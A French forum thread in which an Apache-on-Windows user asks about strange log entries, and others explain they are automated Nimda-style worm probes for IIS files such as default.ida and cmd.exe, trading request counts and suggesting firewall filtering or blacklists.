trucs bizarres dans log apache

[jeey]

Bonjour,

J'ai remarqué quelques lignes étranges dans mes logs d'Apache (win32...).

Qu'est-ce-donc ?? Un petit vicieux ??? :

Alors c'est grave docteur ?

[Dark26]

c'est des hackers tout simplement

en gros tu vois qu'il essaie de lancer cmd sur ta bécane...

dans éxecuter tape cmd et tu vera ce qui se passe

[jeey]

J'ai eu ma reponse, il s'agit des requètes d'un vers (nimda entre autre) attaquant les serveurs IIS...

Donc, il peut toujours chercher !

[glenux]

ca te fais combien de requettes / semaine ?

j'en suis à 9300 (et des poussieres) requettes comportant default.ida et cmd.exe par semaine... (et j'en ai marre)

Heureusement que je paie pas pour l'upload...

Le probleme de tout ca, c'est que la machine contaminée n'as pas conscience de l'etre. (il faudrait peut etre faire une black-list vérifiée tout les X jours pour dropper les paquets de ces machines sur ces ports...)

Le pire : La derniere fois que j'ai contacté un admin pour lui dire qu'il y avait un prob et lui indiquer les faille de sécu, les exploits utilisables et les patchs adequats, c'était limite si le gars allait pas porter pleinte contre moi pour hacking...

[jeey]

pfiou ! pas tant que ça !

Mais mon serveur n'est en place que depuis 15 jours...

[Harko]

Ben, y a des firewalls pour éviter sa

Faut filtrer la connection sinon c'est clair qu'il y aura tentative d'attaque

[FiLoUs_64]

juste pour moi linculte ca fait quoi cmd? lol
